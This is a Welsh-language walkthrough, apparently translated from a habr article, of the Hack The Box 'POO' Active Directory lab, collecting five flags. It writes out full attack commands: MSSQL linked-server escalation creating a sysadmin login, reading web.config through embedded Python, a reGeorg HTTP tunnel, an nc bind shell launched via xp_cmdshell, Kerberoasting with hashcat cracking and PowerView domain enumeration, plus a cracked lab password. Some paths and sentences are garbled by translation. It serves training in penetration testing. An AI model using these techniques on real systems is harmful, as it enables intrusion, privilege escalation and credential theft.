Yn yr erthygl hon byddwn yn dadansoddi taith nid yn unig peiriant, ond labordy bach cyfan o'r wefan
Fel y nodir yn y disgrifiad, mae POO wedi'i gynllunio i brofi sgiliau ym mhob cam o ymosodiadau mewn amgylchedd Active Directory bach. Y nod yw cyfaddawdu gwesteiwr hygyrch, cynyddu breintiau, ac yn y pen draw cyfaddawdu'r parth cyfan wrth gasglu 5 baner.
Mae'r cysylltiad â'r labordy trwy VPN. Argymhellir peidio â chysylltu o gyfrifiadur sy'n gweithio neu o westeiwr lle mae data pwysig i chi, wrth i chi fynd i mewn i rwydwaith preifat gyda phobl sy'n gwybod rhywbeth am ddiogelwch gwybodaeth 🙂
gwybodaeth sefydliadol
Er mwyn i chi gael gwybod am erthyglau newydd, meddalwedd a gwybodaeth arall, creais i
Darperir yr holl wybodaeth at ddibenion addysgol yn unig. Nid yw awdur y ddogfen hon yn cymryd unrhyw gyfrifoldeb am unrhyw ddifrod a achosir i unrhyw un o ganlyniad i ddefnyddio’r wybodaeth a’r dulliau a gafwyd o ganlyniad i astudio’r ddogfen hon.
Intro
Mae'r endgame hwn yn cynnwys dau beiriant, ac mae'n cynnwys 5 baner.
Rhoddir disgrifiad a chyfeiriad y gwesteiwr sydd ar gael hefyd.
Dewch inni ddechrau!
Recon baner
Mae gan y peiriant hwn gyfeiriad IP o 10.13.38.11 yr wyf yn ei ychwanegu at /etc/hosts.
10.13.38.11 poo.htb
Yn gyntaf oll, rydym yn sganio porthladdoedd agored. Gan fod sganio pob porthladd â nmap yn cymryd amser hir, byddaf yn gwneud hyn yn gyntaf gan ddefnyddio masscan. Rydym yn sganio pob porthladd TCP a CDU o'r rhyngwyneb tun0 ar gyflymder o 500 pecyn yr eiliad.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Nawr, i gael gwybodaeth fanylach am y gwasanaethau sy'n rhedeg ar y porthladdoedd, gadewch i ni redeg sgan gyda'r opsiwn -A.
nmap -A poo.htb -p80,1433
Felly, mae gennym wasanaethau IIS a MSSQL. Yn yr achos hwn, byddwn yn darganfod enw DNS go iawn y parth a'r cyfrifiadur. Ar y gweinydd gwe, cawn ein cyfarch gan dudalen gartref IIS.
Gadewch i ni ailadrodd dros y cyfeirlyfrau. Rwy'n defnyddio gobuster ar gyfer hyn. Yn y paramedrau rydym yn nodi nifer yr edafedd 128 (-t), URL (-u), geiriadur (-w) ac estyniadau sydd o ddiddordeb i ni (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Mae hyn yn rhoi dilysiad HTTP i ni ar gyfer y cyfeiriadur / gweinyddwr, yn ogystal â gwasanaeth bwrdd gwaith hygyrch .DS_Store ffeil. Mae .DS_Store yn ffeiliau sy'n storio gosodiadau arfer ar gyfer ffolder, fel rhestr o ffeiliau, lleoliadau eicon, a'r ddelwedd gefndir a ddewiswyd. Efallai y bydd ffeil o'r fath yn y pen draw yn y cyfeiriadur gweinydd gwe o ddatblygwyr gwe. Fel hyn rydym yn cael gwybodaeth am gynnwys y cyfeiriadur. Ar gyfer hyn gallwch chi ddefnyddio
python3 dsstore_crawler.py -i http://poo.htb/
Rydym yn cael cynnwys y cyfeiriadur. Y peth mwyaf diddorol yma yw'r cyfeiriadur /dev, lle gallwn weld y ffynonellau a'r ffeiliau db mewn dwy gangen. Ond gallwn ddefnyddio'r 6 nod cyntaf o enwau ffeiliau a chyfeiriaduron os yw'r gwasanaeth yn agored i IIS ShortName. Gallwch wirio am y bregusrwydd hwn gan ddefnyddio
Ac rydym yn dod o hyd i un ffeil testun sy'n dechrau gyda "poo_co". Heb wybod beth i'w wneud nesaf, dewisais yr holl eiriau gan ddechrau gyda “co” o eiriadur y cyfeiriadur.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
A byddwn yn ei ddatrys gan ddefnyddio wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Ac rydym yn dod o hyd i'r gair iawn! Edrychwn ar y ffeil hon, cadwch y tystlythyrau (a barnu yn ôl y paramedr DBNAME, maent o MSSQL).
Rydyn ni'n trosglwyddo'r faner, ac rydyn ni'n symud ymlaen 20%.
Huh baner
Rydym yn cysylltu â MSSQL, rwy'n defnyddio DBeaver.
Nid ydym yn dod o hyd i unrhyw beth diddorol yn y gronfa ddata hon, gadewch i ni greu Golygydd SQL a gwirio beth yw defnyddwyr.
SELECT name FROM master..syslogins;
Mae gennym ddau ddefnyddiwr. Gadewch i ni wirio ein breintiau.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Felly, nid oes unrhyw freintiau. Gadewch i ni weld y gweinyddwyr cysylltiedig, ysgrifennais am y dechneg hon yn fanwl
SELECT * FROM master..sysservers;
Dyma sut rydyn ni'n dod o hyd i weinydd SQL arall. Gadewch i ni wirio gweithrediad gorchmynion ar y gweinydd hwn gan ddefnyddio openquery ().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
A gallwn hyd yn oed adeiladu coeden ymholiad.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Y pwynt yw pan fyddwn yn gwneud cais i weinydd cysylltiedig, mae'r cais yn cael ei weithredu yng nghyd-destun defnyddiwr arall! Gadewch i ni weld yng nghyd-destun pa ddefnyddiwr yr ydym yn gweithio ar weinydd cysylltiedig.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Nawr gadewch i ni weld ym mha gyd-destun y gwneir cais gan weinydd cysylltiedig â'n un ni!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Felly y cyd-destun DBO ddylai gael yr holl freintiau. Gadewch i ni wirio'r breintiau rhag ofn y bydd cais gan weinydd cysylltiedig.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Fel y gwelwch, mae gennym yr holl freintiau! Gadewch i ni greu ein gweinyddwr ein hunain fel hyn. Ond nid ydyn nhw'n ei ganiatáu trwy agoriad, gadewch i ni ei wneud trwy EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Ac yn awr rydym yn cysylltu â chymwysterau'r defnyddiwr newydd, arsylwi ar y gronfa ddata baneri newydd.
Rydyn ni'n trosglwyddo'r faner hon ac yn symud ymlaen.
Baner trac cefn
Gadewch i ni gael cragen gan ddefnyddio MSSQL, rwy'n defnyddio mssqlclient o'r pecyn impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Mae angen i ni gael cyfrineiriau, a'r peth cyntaf rydyn ni wedi'i gwrdd eisoes yw'r wefan. Felly, mae angen cyfluniad gweinydd gwe (mae'n amhosibl taflu cragen gyfleus, mae'n debyg bod y wal dân yn gweithio).
Ond mae mynediad yn cael ei wrthod. Er y gallwn ddarllen y ffeil o MSSQL, does ond angen i ni wybod pa ieithoedd rhaglennu sydd wedi'u ffurfweddu. Ac yn y cyfeiriadur MSSQL rydym yn darganfod bod Python.
Yna nid oes problem i ddarllen y ffeil web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Gyda'r tystlythyrau wedi'u canfod, ewch i /admin a chodi'r faner.
baner troedle
Mewn gwirionedd, mae rhai anghyfleustra o ddefnyddio wal dân, ond wrth edrych trwy'r gosodiadau rhwydwaith, rydym yn sylwi bod protocol IPv6 hefyd yn cael ei ddefnyddio!
Ychwanegwch y cyfeiriad hwn at /etc/hosts.
dead:babe::1001 poo6.htb
Gadewch i ni sganio'r gwesteiwr eto, ond y tro hwn dros IPv6.
Ac mae'r gwasanaeth WinRM ar gael dros IPv6. Gadewch i ni gysylltu â'r tystlythyrau a ddarganfuwyd.
Mae baner ar y bwrdd gwaith, rhowch drosti.
P00ned baner
Wedi rhagchwilio ar y gwesteiwr gyda
setspn.exe -T intranet.poo -Q */*
Gadewch i ni weithredu'r gorchymyn trwy MSSQL.
Gan ddefnyddio'r dull hwn, rydym yn cael SPN defnyddwyr p00_hr a p00_adm, sy'n golygu eu bod yn agored i ymosodiad fel Kerberoasting. Yn fyr, gallwn gael eu hashes cyfrinair.
Yn gyntaf mae angen i chi gael cragen sefydlog fel defnyddiwr MSSQL. Ond gan ein bod yn gyfyngedig o ran mynediad, dim ond trwy borthladdoedd 80 a 1433 yr ydym yn cyfathrebu â'r gwesteiwr. Ond mae'n bosibl twnelu traffig trwy borthladd 80! Ar gyfer hyn byddwn yn defnyddio
Ond pan fyddwn yn ceisio cael mynediad iddo, rydym yn cael gwall 404. Mae hyn yn golygu nad yw ffeiliau *.aspx yn cael eu gweithredu. I wneud i ffeiliau gyda'r estyniadau hyn redeg, gosodwch ASP.NET 4.5 fel a ganlyn.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Ac yn awr, wrth gyrchu tunnel.aspx, cawn yr ateb bod popeth yn barod i fynd.
Gadewch i ni ddechrau rhan cleient y cais, a fydd yn trosglwyddo traffig. Byddwn yn anfon yr holl draffig ymlaen o borthladd 5432 i'r gweinydd.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Ac rydym yn defnyddio proxychains i anfon traffig o unrhyw gais trwy ein dirprwy. Gadewch i ni ychwanegu'r dirprwy hwn i'r ffeil ffurfweddu /etc/proxychains.conf.
Nawr, gadewch i ni uwchlwytho'r rhaglen i'r gweinydd
Nawr, trwy MSSQL, rydyn ni'n lansio'r gwrandäwr.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Ac rydym yn cysylltu trwy ein dirprwy.
proxychains rlwrap nc poo.htb 4321
A gadewch i ni gael y hashes.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Nesaf, mae angen i chi ailadrodd dros y hashes hyn. Gan nad oedd geiriadur data cyfrinair gan rockyou, defnyddiais yr HOLL eiriaduron cyfrineiriau a ddarperir yn Seclists. Ar gyfer cyfrifo rydym yn defnyddio hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Ac rydym yn dod o hyd i'r ddau gyfrinair, y cyntaf yn y geiriadur dutch_passwordlist.txt, a'r ail yn Keyboard-Combinations.txt.
Ac felly mae gennym ni dri defnyddiwr, rydyn ni'n mynd at y rheolwr parth. Yn gyntaf cawn ei anerchiad.
Gwych, fe wnaethon ni ddarganfod cyfeiriad IP y rheolwr parth. Gadewch i ni ddarganfod holl ddefnyddwyr y parth, yn ogystal â pha un ohonynt sy'n weinyddwr. I lawrlwytho'r sgript i gael gwybodaeth PowerView.ps1. Yna byddwn yn cysylltu gan ddefnyddio evil-winrm, gan nodi'r cyfeiriadur gyda'r sgript yn y paramedr -s. Ac yna byddwn ni'n llwytho'r sgript PowerView yn unig.
Nawr mae gennym fynediad at ei holl swyddogaethau. Mae'r defnyddiwr p00_adm yn edrych fel defnyddiwr breintiedig, felly byddwn yn gweithio yn ei gyd-destun. Gadewch i ni greu gwrthrych PSCredential ar gyfer y defnyddiwr hwn.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nawr bydd yr holl orchmynion Powershell lle rydyn ni'n nodi Creds yn cael eu gweithredu fel p00_adm. Gadewch i ni arddangos rhestr o ddefnyddwyr a'r priodoledd AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Ac felly, mae ein defnyddiwr yn wirioneddol freintiedig. Gawn ni weld ym mha grwpiau mae o.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Rydym yn olaf yn cadarnhau bod y defnyddiwr yn weinyddwr parth. Mae hyn yn rhoi'r hawl iddo fewngofnodi i'r rheolwr parth o bell. Gadewch i ni geisio mewngofnodi trwy WinRM gan ddefnyddio ein twnnel. Cefais fy nrysu gan y gwallau a gynhyrchwyd gan reGeorg wrth ddefnyddio evil-winrm.
Yna rydyn ni'n defnyddio un arall, haws,
Rydyn ni'n ceisio cysylltu, ac rydyn ni yn y system.
Ond nid oes baner. Yna edrychwch ar y defnyddiwr a gwiriwch y byrddau gwaith.
Yn mr3ks rydym yn dod o hyd i'r faner ac mae'r labordy wedi'i gwblhau 100%.
Dyna i gyd. Fel adborth, rhowch sylwadau a wnaethoch chi ddysgu unrhyw beth newydd o'r erthygl hon ac a oedd yn ddefnyddiol i chi.
Gallwch ymuno â ni yn
Ffynhonnell: hab.com